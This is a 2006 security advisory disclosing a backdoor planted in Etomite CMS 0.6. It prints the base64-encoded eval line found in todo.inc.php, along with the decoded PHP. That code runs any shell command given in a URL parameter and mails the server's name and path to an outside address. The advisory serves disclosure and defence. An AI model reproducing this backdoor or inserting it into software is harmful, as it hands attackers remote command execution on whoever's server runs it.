/****** Package: Etomite Content Management System Auth: http://www.etomite.org/ Version(s): 0.6 / previous versions may also be backdoored Vulnerability Type: Remote Code Execution *****************/ Disclaimer: --------- The information is provided "as is" without warranty of any kind. The author of this issue shall not be held liable for any downtime, lost profits, or damages due to the informations contained in this advisory. What is Etomite? --------------- [description taken from from the author's site] Etomite is a Content Management System, which allows you to remotely administer your website from anywhere that you have an Internet Connection and a compatible Web-Browser. Vulnerability Description: ------------------------- Etomite source code contain a backdoor component that allow remote users to execute arbitrary code on the host that Etomite was installed on. Deep Focus: ---------- As of this writing (01-19-2006), the current stable version (0.6) available from http://www.etomite.org/ has the following MD5 sum: f173bcb275b7344d5cd5a1f6315919e6 [It is possible for other backdoored archives to have different MD5 sums] Malicious code is present in the 'manager/includes/todo.inc.php' file, where we can find an encoded data with the base64 algorithm: eval(base64_decode("JGhhbmRsZT1wb3BlbigkX0dFVFtjaWpdLiIgMj4mMSIsInIiKTt3aGlsZSghZmVvZigkaGFuZGxlKSl7JGxpbmU9ZmdldHMoJGhhbmRsZSk7aWYoc3RybGVuKCRsaW5lKT49MSl7ZWNobyAkbGluZTt9fXBjbG9zZSgkaGFuZGxlKTttYWlsKCJjaWpmZXJAbmV0dGkuZmkiLCIiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLCJFcnJvciBDb2RlICM3MjA5MzgiKTs=")); The result of base64-decoding is reported below: $handle=popen($_GET[cij]." 2>&1","r"); while(!feof($handle)) { $line=fgets($handle); if(strlen($line)>=1) { echo $line; } } pclose($handle); mail("cijfer@xxxxxxxx","".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"Error Code #720938"); Analyzing decoded data is easy to understand that: - The popen() function executes the command specified by the variable named 'cij' provided to the script via URL query string - An e-mail message, where there is reported the filename of the currently executing script and the server name, will be sent to 'cijfer@xxxxxxxx' Credits: -- Luca Ercoli <luca.e [at] seeweb.com> http://www.seeweb.com/ http://www.lucaercoli.it/
